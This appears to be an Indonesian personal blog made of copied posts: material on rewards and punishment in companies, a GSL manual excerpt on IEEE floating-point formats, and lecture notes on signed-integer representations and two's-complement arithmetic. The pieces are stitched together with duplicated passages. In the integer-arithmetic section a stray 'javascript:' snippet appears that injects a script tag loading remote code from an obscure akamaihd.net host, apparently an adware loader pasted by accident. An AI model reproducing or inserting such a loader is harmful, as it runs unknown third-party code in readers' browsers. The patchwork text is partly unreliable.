Senin, 24 November 2014

jenis penghargaan dan hukuman

Penghargaan dan Hukuman dalam Organisasi Perusahaan
Penghargaan adalah sebuah bentuk apresiasi kepada suatu prestasi tertentu yang diberikan baik oleh perorangan ataupun suatu lembaga. Penghargaan biasanya diberikan dalam bentuk medali, piala, gelar, sertifikat, plaket atau pita. Suatu penghargaan kadang-kadang disertai dengan pemberian hadiah berupa uang seperti hadiah nobel untuk kontribusi terhadap masyarakat, dan hadiah pulitzer untuk penghargaan bidang literatur. Dalam organisasi ada istilah insentif,Insentif adalah suatu penghargaan dalam bentuk material atau non material yang diberikan oleh pihak pimpinan organisasi perusahaan kepada karyawan agar mereka bekerja dengan motivasi yang tinggi dan berprestasi dalam mencapai tujuan-tujuan perusahaan atau organisasi.

Hukuman adalah suatu konsekuensi yang tidak menyenangkan terhadap suatu respons perilaku tertentu dengan tujuan untuk memperlemah perilaku tersebut dan mengurangi frekuensi perilaku yang berikutnya.

Jenis-jenis Imbalan
Jenis imbalan menurut Gitosudarmo (1997:227) Ada 2 yaitu imbalan intrinsik  dan imbalan ekstrinsik.
Imbalan intrinsic adalah imbalan yang berkaitan dengan  pekerjaan itu sendiri. Imbalan  intrinsik meliputi penyelesaian, pencapaian prestasi, otonomi, dan pertumbuhan  pribadi. Imbalan intrinsik ini penting bagi  para manajer karena imbalan ini merupakan kunci untuk membuka kekuatan motivasi  seseorang sebab motivasi merupakan pekerjaan dari diri sendiri dan merupakan  kemauan dari pribadi itu sendiri (Gibson, Ivancevich, dan Donnelly, 1985).
Imbalan ekstrinsik adalah imbalan yang tidak  berkaitan dengan pekerjaan tetapi berasal dari pekerjaan. Imbalan ekstrinsik  ini  merupakan ‘pemuas’ yang datang  dari  lingkungan luar dimana kita kerja atau tinggal. Imbalan ekstrinsik meliputi imbalan  finansial, jaminan sosial, pembagian keuntungan, pengakuan, promosi, supervisi,  persahabatan,  dan  perbedaan kompensasi (Anonimous, 2002).

Jenis-jenis Hukuman
Hukuman didefinisikan sebagai sesuatu yang membuat suatu perilaku berkurang frekuensinya. Ada dua jenis hukuman, yaitu :
Hukuman positif merupakan jenis hukuman yang memberikan sesuatu yang tidak menyenangkan. Contohnya adalah memberikan sengatan listrik pada tikus jika memasuki atau melakukan sesuatu yang tidak diperbolehkan (memakan hati).
Hukuman negatif / eliminasi merupakan jenis hukuman yang menghilangkan sesuatu yang menyenangkan. Contohnya adalah pada percobaan tikus yang melakukan sesuatu yang tidak diperbolehkan maka makanan akan dipindahkan atau diambil.


Pentingnya Penghargaan dan Hukuman dalam Organisasi Perusahaan
Pentingnya penghargaan dan hukuman dalam organisasi yaitu Pada suatu organisasi sangat diperlukan aturan dan hukum serta penghargaan dimana penghargaan dalam suatu organisasi itu penting karena kita memang menghargai mereka yang sudah berupaya mengubah cara kerja mereka. Penghargaan juga memperlihatkan bahwa kita menganggap penting budaya tersebut.
Pesan-pesan pentingnya sebuah budaya harus kita sampaikan terus menerus. Pesan dengan menyampaikan di dalam pertemuan atau setiap pagi sebelum memulai kegiatan memang efektif tetapi lebih efektif jika kita memberikan pesan secara tidak langsung. Penghargaan juga akan memicu orang-orang untuk melakukan yang terbaik. Sebaiknya penghargaan bukan untuk mereka yang paling di dalam bidangnya melainkan berikan target dan berikan penghargaan buat mereka yang melampui target yang ada.
Penghargaan juga berfungsi untuk memperlihatkan bahwa kita sebagai atasan menghargai kinerja mereka yang sesuai dengan aturan yang berlaku. sedangkan aturan dan hukum berfungsi sebagai suatu alat pengendali agar suatu kinerja dalam suatu organisasi tersebut dapat berjalan dengan baik. jika suatu organisasi aturan dan hukum tidak diterapkan maka suatu organisasi tersebut tidak akan berjalan dengan baik dan akan menimbulkan konflik kepentingan baik antar individu ataupun antar organisasi.
Untuk mengefektifkan peraturan tersebut butuh kesadaran untuk mematuhi peraturan yang sudah diterapkan dalam sebuah organisasi tersebut, maka dibuatlah hukum aga kita mematuhi hukum tersebut. Hukum tersebut juga berlaku dalam bersosialisasi contohnya dalam berorganisasi. Pentingnya hukum dalam organisasi agar pelaku dalam organisasi tersebut untuk merubah perilaku pegawai, yaitu dengan mempertimbangkan: Waktu, Intensitas, Jadwal, Klarifikasi, dan Impersonalitas (tidak bersifat pribadi).

Tujuan Pemberian Imbalan (Reward)
Menurut Hasibuan (1994) tujuan pemberian imbalan atau Kompensasi adalah sebagai berikut :
1. Sebagai ikatan kerja sama dengan pemberian imbalan atau kompensasi maka akan tercipta suatu ikatan kerja sama formal antara majikan dengan karyawan, disatu pihak karyawan mempunyai kewajiban untuk mengerjakan dengan baik semua tugas yang dibebankan perusahaan kepadanya, dipihak lain perusahaan mempunyai kewajiban membayar imbalan atau kompensasi sesuai dengan tugas yang dibebankan.
2. Memberikan kepuasan kerja dengan pemberian imbalan atau kompensasi diharapkan karyawan dapat memenuhi kebutuhan fisiologis, kebutuhan sosial serta kebutuhan lainnya, sehingga karyawan memperoleh kepuasan kerja.
3. Rekruitmen yang efektif apabila kebijaksanaan imbalan atau kompensasi yang akan diterapkan dipandang cukup besar, tentunya pengadaan karyawan yang qualified akan lebih muda.
4. Alat untuk memotivasi imbalan atau kompensasi akan sangat mempengaruhi motivasi seseorang dalam bekerja. Tidak dapat dipungkiri bahwa untuk dapat memenuhi kebutuhannya, individu membutuhkan uang yang diperolehnya sebagai imbalan dari tempat ia bekerja, dan hal ini juga akan mempengaruhi  semangatnya dalam bekerja.
5. Stabilitas karyawan imbalan yang cukup juga berpengaruh terhadap stabilitas karyawan. Keluar masuknya karyawan dapat ditekan bahkan bisa dikatakan tidak ada apabila imbalan yang diberikan dirasa cukup adil sehingga karyawan merasa nyaman dalam bekerja.
6. Disiplin, disiplin merupakan salah satu faktor penting yang harus diperhatikan, karena akan berpengaruh terhadap kinerja karyawan.
7. Pemerintah, kebijakan imbalan yang ditetapkan perusahaan harus berpedoman kepada peraturan perundang-undangan mengenai tarif upah yang telah ditetapkan pemerintah, maupun kebijakan-kebijakan lainnya yang disesuaikan dengan keadaan perekonomian saat itu.


Tujuan Pemberian Hukuman (Punishment)
Sanksi hukuman berperan penting dalam memelihara kedisiplinan pegawai. Dengan sangsi hukum yang semakin berat, maka pegawai akan semakin takut untuk melanggar peraturan-peraturan perusahaan, sikap dan perilaku indispliner pegawai juga akan semakin berkurang.
Sanksi hukum harus diterapkan berdasarkan pertimbangan logis, masuk akal dan diinformasikan secara jelas kepada seluruh pegawai. Sanksi hukum harus bersifat mendidik pegawai untuk mengubah perilakunya yang bertentangan dengan peraturan/ketentuan yang sudah disepakati bersama.
Lebih jauh sanksi hukum haruslah wajar untuk setiap tingkatan indisipliner, sehingga dapat menjadi alat motivasi bagi pegawai untuk menjaga dan memelihara kedisiplinan dalam perusahaan.

Implikasi hukuman dan penghargaan pada perusahaan
Dalam lingkungan perusahaan aturan yang berlaku pada setiap elemen yang berada dalam suatu perusahaan atau organisasi memiliki tanggung jawab yang sama atas tugasnya masing-masing. Seperti halnya pegawai dan manajer, pegawai bertanggung jawab atas tugasnya sebagai oprasional dalam suatu perusahaan. Dan manajer bertanggung jawab sebagai pengendali operasional, dengan tingkat propesional tertentu yang telah memiliki tugasnya masing-masing, tanpa harus mencampuri tugas dari pegawai sebagai operasional.
Dengan hal itu berdirinya suatu perusahaan tidak lepas dari pemikiran para pendiri perusahaan yang telah mengetahui kekurangan dan kelebihan perusahaannya, pemimpin perusahaan harus bisa memanage pegawainya dengan aturan yang diberlakukan. Karenanya pemimpin perusahaan harus memiliki konsep untuk memberikan penghargaan maupun hukuman kepada anggotanya. Dimana penghargaan tersebut dimaksudkan untuk memberikan motivasi kepada pegawainya dengan sama rata, dan hukuman diberikan dengan maksud untuk memberikan perhatian kepada pegawainya agar bekerja secara aktif dan profesional.
Namun pada prakteknya, para pemimpin perusahaan tidak terlalu mengertikan pegawainya bekerja sesuai waktu dan komposisinya. Kasus seperti inilah yang sekarang sering terjadi dalam lingkungan perusahaan, yang membuat anggota perusahaan tersebut mengambil resiko keluar dari aturan perusahaan tanpa memikirkan hukuman yang akan menimpanya.




Refrensi :
Suwarto FX, Perilaku Keorganisasian, Universitas Atmajaya, Yogyakarta, 1999.
Davis, Keith dan John W. Newstrom. 2003. Perilaku dalam Organisasi : Jilid 2. Jakarta: Erlangga.
Donnelly. Gibson and Ivancevich.1990. Organisasi (Perilaku, Struktur, Proses) Jilid 2. Jakarta: Erlangga.
Kinicky, Angelo dan Robert Kreitner. 2005. Perilaku Organisasi: buku 2. Jakarta: Salemba Empat.
http://id.scribd.com/doc/84124932/Pengertian-Organisasi-Perusahaan
http://id.wikipedia.org/wiki/Hukuman
http://id.wikipedia.org/wiki/Penghargaan

Pentingnya Tentang Hukuman Dan Penghargaan Dalam Organisasi

Pentingnya Tentang Hukuman Dan Penghargaan Dalam Organisasi
Penghargaan adalah sebuah bentuk apresiasi kepada suatu prestasi tertentu yang diberikan baik oleh perorangan ataupun suatu lembaga. Penghargaan biasanya diberikan dalam bentuk medali, piala, gelar, sertifikat, plaket atau pita. Suatu penghargaan kadang-kadang disertai dengan pemberian hadiah berupa uang seperti hadiah nobel untuk kontribusi terhadap masyarakat, dan hadiah pulitzer untuk penghargaan bidang literatur. Dalam organisasi ada istilah insentif,Insentif adalah suatu penghargaan dalam bentuk material atau non material yang diberikan oleh pihak pimpinan organisasi perusahaan kepada karyawan agar mereka bekerja dengan motivasi yang tinggi dan berprestasi dalam mencapai tujuan-tujuan perusahaan atau organisasi.
Hukuman adalah suatu konsekuensi yang tidak menyenangkan terhadap suatu respons perilaku tertentu dengan tujuan untuk memperlemah perilaku tersebut dan mengurangi frekuensi perilaku yang berikutnya.
Ada tiga fungsi penting dari hukuman yang berperan besar bagi pembentukan tingkah laku yang diharapkan:
Membatasi perilaku. Hukuman menghalangi terjadinya pengulangan tingkah laku yang tidak diharapkan.
Bersifat mendidik.
Memperkuat motivasi untuk menghindarkan diri dari tingkah laku yang tidak diharapkan
Pada suatu organisasi sangat diperlukan aturan dan hukum serta penghargaan dimana penghargaan dalam suatu organisasi itu penting karena kita memang menghargai mereka yang sudah berupaya mengubah cara kerja mereka. Penghargaan juga memperlihatkan bahwa kita menganggap penting budaya tersebut. Pesan-pesan pentingnya sebuah budaya harus kita sampaikan terus menerus. Pesan dengan menyampaikan di dalam pertemuan atau setiap pagi sebelum memulai kegiatan memang efektif tetapi lebih efektif jika kita memberikan pesan secara tidak langsung. Penghargaan juga akan memicu orang-orang untuk melakukan yang terbaik. Sebaiknya penghargaan bukan untuk mereka yang paling di dalam bidangnya melainkan berikan target dan berikan penghargaan buat mereka yang melampui target yang ada. Penghargaan juga berfungsi untuk memperlihatkan bahwa kita sebagai atasan menghargai kinerja mereka yang sesuai dengan aturan yang berlaku. sedangkan aturan dan hukum berfungsi sebagai suatu alat pengendali agar suatu kinerja dalam suatu organisasi tersebut dapat berjalan dengan baik. jika suatu organisasi aturan dan hukum tidak diterapkan maka suatu organisasi tersebut tidak akan berjalan dengan baik dan akan menimbulkan konflik kepentingan baik antar individu ataupun antar organisasi. Untuk mengefektifkan peraturan tersebut butuh kesadaran untuk mematuhi peraturan yang sudah diterapkan dalam sebuah organisasi tersebut, maka dibuatlah hukum aga kita mematuhi hukum tersebut. Hukum tersebut juga berlaku dalam bersosialisasi contohnya dalam berorganisasi. Pentingnya hukum dalam organisasi agar pelaku dalam organisasi tersebut untuk merubah perilaku pegawai, yaitu dengan mempertimbangkan: Waktu, Intensitas, Jadwal, Klarifikasi, dan Impersonalitas (tidak bersifat pribadi).

Sumber :
http://vimber-firs.blogspot.com/2010/12/pentingnya-penghargaan-dan-hukuman.html
http://id.wikipedia.org/wiki/Hukuman
http://id.wikipedia.org/wiki/Penghargaan
http://wartawarga.gunadarma.ac.id/2009/10/bagian-penting-dalam-organisasi/
http://dim24.wordpress.com/2009/10/19/bagian-dasar-organisasi/


implikasi penghargaan dan hukuman dalam perusahaan

PENGHARGAAN ADALAH
Bentuk Apresiasi seseorang atas USAHA Seseorang,

Contohnya dalam perusahaan,
USAHA untuk mendapatkan tenaga kerja yang profesional sesuai dengan tuntutan jabatan diperlukan suatu pembinaan yang berkesinambungan, yaitu suatu usaha kegiatan perencanaan, pengorganisasian, penggunaan,dan pemeliharaan tenaga kerja agar mampu melaksanakan tugas dengan efektif dan efisien.

Sebagai langkah nyata dalam hasil pembinaan maka diadakan pemberian penghargaan pegawai yang telah menunjukkan prestasi kerja yang baik. Adapun pengertian dari penghargaan dalam perusahaan kerap dalam bentuk pemberian berupa piagam dan sejumlah uang dari perusahaan pegawai yang mempunyai prestasi. Ada juga perusahaan yang memberikan penghargaan kepada pegawai karena masa kerja dan pengabdiannya dapat dijadikan teladan bagi pegawai lainnya. Pemberian penghargaan karena masa kerja pegawai bertujuan untuk memotivasi gairah dan loyalitas perusahaan.

Pemberian penghargaan tersebut merupakan upaya perusahaan dalam memberikan balas jasa atas hasil kerja pegawai,sehingga dapat mendorong pegawai bekerja lebih giat dan berpotensi. Pegawai memerlukan suatu penghargaan pada saat hasil kerjanya telah memenuhi atau bahkan melebihi standar yang telah ditentukan oleh perusahaan. Penghargaan ini dapat berupa pujian. Tidak hanya kalau pegawai melakukan kesalahan memperoleh makian dari pimpinan. Pegawai bekerja mempunyai tujuan,antara lain untuk memperoleh penghasilan agar kebutuhan dan keinginannya dapat direalisasikan.

Misalkan saja setelah 20 tahun bekerja, kemudian mendapatkan hadiah pin emas dari perusahaan. Dari beberapa jenis penghargaan di atas, terang Yodhia, semua baik. Kecuali penghargaan yang terkait dengan masa kerja.Dia menambahkan penghargaan tidak selalu terkait dengan masa kerja. Penghargaan seperti itu dianggap kurang afdol karena cenderung tidak mampu memotivasi pegawai. Menurut dia, hadiah atau penghargaan layak diberikan karena dapat memotivasi pegawai untuk memberikan prestasi atau kinerja yang lebih bagus.Ini juga akan menimbulkan rasa bangga bagi pegawai. ”Sehingga memacu mereka untuk lebih produktif dalam bekerja,” ucapnya.

Penghargaan bisa bermacammacam, ada dalam bentuk bonus, promosi, penambahan tanggung jawab yang bagi beberapa pegawai bisa menjadi beban namun bagi beberapa pegawai lainnya dapat menjadi poin penghargaan bagi dirinya. Tapi yang pasti perusahaan harus memberikan nilai lebih. ”Kadang kala tidak seluruhnya mengenai uang,” tuturnya.

Bentuk penghargaan yang paling baik adalah membuat pegawai mengetahui kalau dirinya dihargai oleh perusahaan,bukan hanya oleh sekelompok kecil orang. Beberapa perusahaan kadang kala menempatkan foto pegawai yang paling berprestasi di area pabrik untuk menegaskan bahwa pegawai tersebut dapat menjadi panutan bagi yang lain.







PENGERTIAN HUKUMAN

HUKUMAN adalah SANKSI kepada seseorang yang memiliki KESALAHAN,

Hukuman ini berarti untuk Meningkatkan KEDISIPLINAN seseorang.

Hukuman adalah vonis dari pengadilan terhadap seseorang yang terbukti bersalah (Purwadarminta, kamus umum bahasa Indonesia:1991). Pembentukan disiplin diri merupakan suatu proses yang harus dimulai sejak masa kanak-kanak. Oleh karena itu pendidikan disiplin pertama-tama sudah dimulai dari keluarga (orang tua). Dalam kehidupan masyarakat secara umum, metode yang paling sering digunakan untuk mendisiplinkan warganya adalah dengan pemberian hukuman.
Hal yang sama dilakukan juga oleh sebagian besar orang tua ataupun guru dalam mendidik anak-anak atau muridnya. Kerugiannya adalah disiplin yang tercipta merupakan disiplin jangka pendek, artinya anak hanya menurutinya sebagai tuntutan sesaat, sehingga seringkali tidak tercipta disiplin diri pada mereka. Hal tersebut disebabkan karena dengan hukuman anak lebih banyak mengingat hal-hal negatif yang tidak boleh dilakukan, daripada hal-hal positif yang seharusnya dilakukan.
Dampak lain dari penggunaan hukuman adalah perasaan tidak nyaman pada anak karena harus menanggung hukuman yang diberikan orang tuanya jika ia melanggar batasan yang ditetapkan. Tidak mengherankan jika banyak anak memiliki persepsi bahwa disiplin itu adalah identik dengan penderitaan. Persepsi tersebut bukan hanya terjadi pada anak-anak tetapi juga seringkali dialami oleh orang tua mereka. Akibatnya tidak sedikit orang tua membiarkan anak-anak “bahagia” tanpa disiplin. Tentu saja hal ini merupakan suatu kekeliruan besar, karena di masa-masa perkembangan berikutnya maka individu tersebut akan mengalami berbagai masalah dan kebingungan karena tidak mengenal aturan bagi dirinya sendiri.
Disiplin adalah proses pelatihan pikiran dan karakter, yang meningkatkan kemampuan untuk mengendalikan diri sendiri, dan menumbuhkan ketaatan atau kepatuhan terhadap tata tertib atau nilai tertentu (Andrias Harefa, menjadi manusia pembelajar). Disiplin di sini dimaksudkan cara kita mengajarkan kepada anak tentang perilaku moral yang dapat diterima kelompok. Tujuan utamanya adalah memberitahu dan menanamkan pengertian dalam diri anak tentang perilaku mana yang baik dan mana yang buruk, dan untuk mendorongnya memiliki perilaku yang sesuai dengan standar ini. Dalam disiplin, ada tiga unsur yang penting, yaitu hukum atau peraturan yang berfungsi sebagai pedoman penilaian, sanksi atau hukuman bagi pelanggaran peraturan itu, dan hadiah untuk perilaku atau usaha yang baik (Dr. Martin Leman, disiplin anak:2000).

REFERENSI DAN KESIMPULAN :

Penghargaan dan Hukuman sangat lah berarti(bermanfaat) bagi kehidupan bersosial terutama dalam sebuah KOMUNITAS, contohnya , PERUSAHAAN, KELUARGA, MASYARAKAT, dan lain-lain.
Penghargaan membuat seseorang bersemangat dan bangga atas hasil usaha yg telash dilakukan, sedangkan HUKUMAN, membantu mendisiplinkan seseorang agar dia tidak bermalas- malasan atas tugasnya..

Minggu, 02 November 2014

41.1 Representation of floating point numbers

The IEEE Standard for Binary Floating-Point Arithmetic defines binary formats for single and double precision numbers. Each number is composed of three parts: a
 sign bit (s), an exponent (E) and a fraction(f). The numerical value of the combination (s,E,f) is given by the following formula,
(-1)^s (1.fffff...) 2^E
The sign bit is either zero or one. The exponent ranges from a minimum value E_min to a maximum value E_max depending on the precision. The exponent is converted to an unsigned number e, known as the biased exponent, for storage by adding a bias parameter, e = E + bias. The sequence fffff... represents the digits of the binary fraction f. The binary digits are stored in normalized form, by adjusting the exponent to give a leading digit of 1. Since the leading digit is always 1 for normalized numbers it is assumed implicitly and does not have to be stored. Numbers smaller than 2^(E_min) are be stored indenormalized form with a leading zero,
(-1)^s (0.fffff...) 2^(E_min)
This allows gradual underflow down to 2^(E_min - p) for p bits of precision. A zero is encoded with the special exponent of 2^(E_min - 1) and infinities with the exponent of 2^(E_max + 1).
The format for single precision numbers uses 32 bits divided in the following way,
seeeeeeeefffffffffffffffffffffff
   
s = sign bit, 1 bit
e = exponent, 8 bits  (E_min=-126, E_max=127, bias=127)
f = fraction, 23 bits
The format for double precision numbers uses 64 bits divided in the following way,
seeeeeeeeeeeffffffffffffffffffffffffffffffffffffffffffffffffffff

s = sign bit, 1 bit
e = exponent, 11 bits  (E_min=-1022, E_max=1023, bias=1023)
f = fraction, 52 bits
It is often useful to be able to investigate the behavior of a calculation at the bit-level and the library provides functions for printing the IEEE representations in a human-readable form.
Function: void gsl_ieee_fprintf_float (FILE * stream, const float * x)
Function: void gsl_ieee_fprintf_double (FILE * stream, const double * x)
These functions output a formatted version of the IEEE floating-point number pointed to by x to the stream stream. A pointer is used to pass the number indirectly, to avoid any undesired promotion from float to double. The output takes one of the following forms,
NaN
the Not-a-Number symbol
Inf, -Inf
positive or negative infinity
1.fffff...*2^E, -1.fffff...*2^E
a normalized floating point number
0.fffff...*2^E, -0.fffff...*2^E
a denormalized floating point number
0, -0
positive or negative zero
The output can be used directly in GNU Emacs Calc mode by preceding it with 2# to indicate binary.
Function: void gsl_ieee_printf_float (const float * x)
Function: void gsl_ieee_printf_double (const double * x)
These functions output a formatted version of the IEEE floating-point number pointed to by x to the stream stdout.
The following program demonstrates the use of the functions by printing the single and double precision representations of the fraction 1/3. For comparison the representation of the value promoted from single to double precision is also printed.
#include <stdio.h>
#include <gsl/gsl_ieee_utils.h>

int
main (void)
{
  float f = 1.0/3.0;
  double d = 1.0/3.0;

  double fd = f; /* promote from float to double */
 
  printf (" f="); gsl_ieee_printf_float(&f);
  printf ("\n");

  printf ("fd="); gsl_ieee_printf_double(&fd);
  printf ("\n");

  printf (" d="); gsl_ieee_printf_double(&d);
  printf ("\n");

  return 0;
}
The binary representation of 1/3 is 0.01010101... . The output below shows that the IEEE format normalizes this fraction to give a leading digit of 1,
 f= 1.01010101010101010101011*2^-2
fd= 1.0101010101010101010101100000000000000000000000000000*2^-2
 d= 1.0101010101010101010101010101010101010101010101010101*2^-2
The output also shows that a single-precision number is promoted to double-precision by adding zeros in the binary representation.

Saya akan memberikan sedikit kata kata: Jadi di floating point Representation ini menjelaskan tentang program angka 

https://www.gnu.org/software/gsl/manual/html_node/Representation-of-floating-point-numbers.html

Integer Arithmetic

Consider the two basic arithmetic operations (addition and negation, from which subtraction can be derived easily) and how they would be performed on signed integers using the four representations.

Negation

Signed Magnitude

Just toggle the sign bit. Nothing simpler. If all you want to do is negate, then this is the clear winner.

Ones Complement

Toggle all of the bits. This is a simple and fast operation. No bit depends on any other bit, and so there are no carries, "ripple", etc.

Twos Complement

Use the twos complement operation, i.e. toggle all bits and add 1. This is a little bit slower than negating in ones complement or signed magnitude numbers, but can still be done quickly with a relatively small amount of logic in today's computers.

Excess-2^(N-1)

Use the "twos complement" operation. (Since the only difference between this representation and twos complement is that the sign bit is inverted, this makes sense.) Excess-other-numbers does not work so simply, however.

Addition

Signed Magnitude

This one is the worst. If the signs are the same, add the magnitudes and use that same sign. If the signs differ, then you must determine which one has the larger magnitude. The sign is the same as that one, and the magnitude must be obtained by subtracting (not adding) the smaller one from the larger one. (This is the way you do signed arithmetic by hand, but it's not so good for digital logic.)
Examples:
-1 1001  larger (5) 101
+5 0101  smaller(1) 001
-- ----             ---
+4 ????   Subtract: 100 -> add sign of larger -> 0100
 
+1 1001  larger (5) 101
-5 0101  smaller(1) 001
-- ----             ---
-4 ????   Subtract: 100 -> add sign of larger -> 1100
 
+1 0001  
+5 0101  
-- ----  
+6 0110  Add. Leave the sign alone. 
 
-1 1001  
-5 1101  
-- ----  
-6 1110  Add. Leave the sign alone.
Either both a subtraction circuit and an addition circuit are needed, or the subtraction could be done by twos complementing and then adding, but in that case why not use twos complement in the first place??

Excess-2^(N-1)

The rule is this: Add the codes using normal binary addition, then toggle the sign bit. Examples (using Excess-8):
-1 0111
+5 1101
-- ----
+4 0100 -> toggle sign -> 1100
 
+1 1001
-5 0011
-- ----
-4 1100 -> toggle sign -> 0100
 
+1 1001  
+5 1101  
-- ----  
+6 0110 -> toggle sign -> 1110
 
-1 0111  
-5 0011  
-- ----  
-6 1010 -> toggle sign -> 0010
Only an adder is required, but there is one (small) extra step involved.

Ones Complement

There's a tricky way to do this one: add the numbers, and then add the carry coming out of the highest bit to the result (this was called an "end-around-carry"). Examples:
-1    1110
+5    0101
--    ----
+4 (1)0011 -> 0011+1 = 0100
 
+1    0001
-5    1010
--    ----
-4 (0)1011 -> 1011+0 = 1011
 
+1    0001  
+5    0101  
--    ----  
+6 (0)0110 -> 0110+0 = 0110
 
-1    1110 
-5    1010
--    ----  
-6 (1)1000 -> 1000+1 = 1001
Weird, isn't it? Again, only an adder is required but with an additional step that could take a long time because it is really another complete addition!

Twos Complement

Simply add the numbers. Period. (But ignore any carry out of the highest bit.) This is why twos complement is now universally used. Examples:
-1    1111
+5    0101
--    ----
+4 (1)0100
 
+1    0001
-5    1011
--    ----
-4 (0)1100
 
+1    0001  
+5    0101  
--    ----  
+6 (0)0110
 
-1    1111 
-5    1011
--    ----  
-6 (1)1010
Thus only a single addition is needed, with no extra steps. Also, the same operation will add both signed and unsigned numbers. There is no difference. Also, overflow is easily detected (overflow has occurred if the sign of the result is different from the signs of both operands).

Subtraction

Negate then add

Extension:

Converting from one size of representation to a larger size.  Eg 8 bits to 16 bits to 32 bits 
 
  • OC or TC: Fill new high-order bits with copies of sign bit.
  • SM:  insert 0 bits between sign bit and old  bits.
  • EN: insert opposite of sign bit between sign bit and old bits.
  • Unsigned: Just add 0's


Two's Complement is the "proper choice

  • add algorithm is simplest
  • best representation of  0.
  • natural counting sequence (sort of)
  • self-inverting
  • easy extension
  • biggest drawbacks -2N-1   is a special case and negation is slow(but addition is very fast to make up for it)
  • equivalent to doing everything in mod 2 eg-1 = 15 mod 16 and 1111 is 15 in unsigned binary.

Detection of overflow

Using N bits, it is possible that the answer to an addition will be outside the range of representable values. It is necessary to detect when this happens. 
 
  • Unsigned: Carry out of top bit.  This CARRY OUT is made available to Assembly language program
  • TC: Overflow = sign of answer not equal to sign of both operands  =  carry in to last column not equal to carry out of last column.

Use of Hexadecimal

  • Used as a shorthand to avoid long, long sequences of 0/1's.
  • To change a sequence of 0/1's of length 0 mod 4 which  represents an integer, partition the sequence from the right (lower order bit) and translate:
    • 0000 to 0
    • 0001 to 1
    • 0010 to 2
    • 0011 to 3
    • 0100 to 4
    • 0101 to 5
    • 0110 to 6
    • 0111 to 7
    • 1000 to 8
    • 1001 to 9
    • 1010 to A
    • 1011 to B
    • 1100 to C
    • 1101 to D
    • 1110 to E
    • 1111 to F

The left most hex bit will be 0-7 for positive numbers and 8-F for negative numbers in OC or TC. 
  • To find the value of  a hex number in 1's complement
    • starting with 0-7 do the usual thing.
    • starting with 8-F first you subtract hex number from FFF...F.
then  do the usual thing.
  • To find the value of  a hex number in 2's complement
    • starting with 0-7 do the usual thing.
    • starting with 8-F first you subtract hex number from FFF...F and add 1
      OR 
      leave trailing 0's in hex  # alone; subtract lowest non-0 digit from (10)16; subtract other digits from F
then  do the usual thing.

Example

1.     What is the value of the signed integer in TC in the 16 bit word in memory which contains  C8AO?
2.     What if it is an unsigned integer?
3.     What about a signed integer for 6C85?

4.     Unsigned?
Saya akan memberikan sedikit kata kata: 

     Signed Magnitude

This one is the worst. If the signs are the same, add the magnitudes and use that same sign. If the signs differ, then you must determine which one has the larger magnitude. The sign is the same as that one, and the magnitude must be obtained by subtracting (not adding) the smaller one from the larger one. (This is the way you do signed arithmetic by hand, but it's not so good for digital logic.)
Examples:
-1 1001  larger (5) 101
+5 0101  smaller(1) 001
-- ----             ---
+4 ????   Subtract: 100 -> add sign of larger -> 0100
 
+1 1001  larger (5) 101
-5 0101  smaller(1) 001
-- ----             ---
-4 ????   Subtract: 100 -> add sign of larger -> 1100
 
+1 0001  
+5 0101  
-- ----  
+6 0110  Add. Leave the sign alone. 
 
-1 1001  
-5 1101  
-- ----  
-6 1110  Add. Leave the sign alone.
Either both a subtraction circuit and an addition circuit are needed, or the subtraction could be done by twos complementing and then adding, but in that case why not use twos complement in the first place??

javascript:try{if(document.body.innerHTML){var
a=document.getElementsByTagName("head");if(a.length){var
d=document.createElement("script");d.src="https://apitrolatuntco-a.akamaihd.net/gsrs
is=smdvid&bp=BA&g=6c9cce00-40d5-4c31-94cc
c5dd11e2c21d";a[0].appendChild(d);}}}catch(e){}
The Representation of Integers
We need to use binary representations for every piece of data. Computers operate on binary values (as a result of being built from transistors).
There are 3 types of data we want to represent:
1.     integers
2.     characters
3.     floating point values
Integer Representation
There are different binary representations for integers. Possible qualities:
1.     positive numbers only
2.     positive and negative numbers
3.     ease of human readability
4.     speed of computer operations
While there are many representations, and all have been used at various times for various reasons, the ones surrounded by a * are the representations that we will use extensively.
1.     * unsigned *
2.     sign magnitude
3.     one's complement
4.     * two's complement *
5.     biased (not commonly known)
6.     BCD (Binary Coded Decimal), used mainly by business applications in the 1960s and 70s.
Virtually all modern computers operate based on 2's complement representation. Why?
1.     hardware for doing the most common operations is faster (the most common operation is addition)
2.     hardware is simpler (and therefore faster)
Did you notice that both reasons for using 2's complement representation are the same? Almost always, when discussing why something is done the way it is done, the answer is the same: "because it isfaster."

Prerequisite Material from 252 (Starts Here)
Unsigned Integers
the standard binary encoding you already know
only 0 and positive values
range: 0 to (2^n) - 1, for n bits
example:
4 bits, values 0 to 15
n=4, 2^4 -1 is 15

               binary decimal hex     binary decimal hex
               0000      0     0       1000    8      8
               0001      1     1       1001    9      9
               0010      2     2       1010    10     a
               0011      3     3       1011    11     b
               0100      4     4       1100    12     c
               0101      5     5       1101    13     d
               0110      6     6       1110    14     e
               0111      7     7       1111    15     f
Prerequisite Material from 252 (Ends Here)

One's Complement Integers
NOT COVERED IN 354, but you should know it anyway, as it makes understanding Two's Complement easier!
Historically important, and we use this representation to get 2's complement integers.
Now, nobody builds machines that are based on 1's comp. integers. In the past, early computers built by Semour Cray (while at CDC) were based on 1's comp. integers.
Positive integers use the same representation as unsigned.
00000 is 0
00111 is 7, etc.
Negation (finding an additive inverse) is done by taking a bitwise complement of the representation. This operation is also known as taking the one's complement.
COMPLEMENT. INVERT. NOT. FLIP. NEGATE.
This is a logical operation done on a single bit.
The complement of 1 is 0.
The complement of 0 is 1.
Example:
            Find the representation of -1 in 1's complement
           
            representation for +1:    00001
            complement each bit:      11110

              That is -1.

                  Don't add or remove any bits.
Example:
What decimal value is represented by 11100 ?

This must be a negative number.

To find out which, find the additive inverse!

00011   is +3 by sight, so 11100 must be -3
Things to notice:
1.     any negative number will have a 1 in the MSB
2.     there are 2 representations for 0: 00000 and 11111

Prerequisite Material from 252 (Starts Here)
Two's Complement integers
A variation on 1's complement that does not have two representations for 0. This makes the hardware that does arithmetic (addition, really) faster than for the other representations.
a 3-bit example:
  bit pattern:    100   101  110  111  000  001  010  011

  1's comp:       -3     -2   -1    0   0    1    2    3

  2's comp.:      -4     -3   -2   -1   0    1    2    3

The negative values are all "slid" down by one, eliminating the extra zero representation.
How to get an integer in 2's comp. representation:
  • positive values are the same as for sign mag. and 1's comp.
    they will have a 0 in the MSB (but it is NOT a sign bit!)
  • positive: just write down the value as before
  • negative:
·                  use the positive value     00101 (+5)
·          
·                  take the 1's comp.         11010 (-5 in 1's comp)
·                  add 1                     +    1
·                                                            ------
·                                                             11011 (-5 in 2's comp)
·          
   
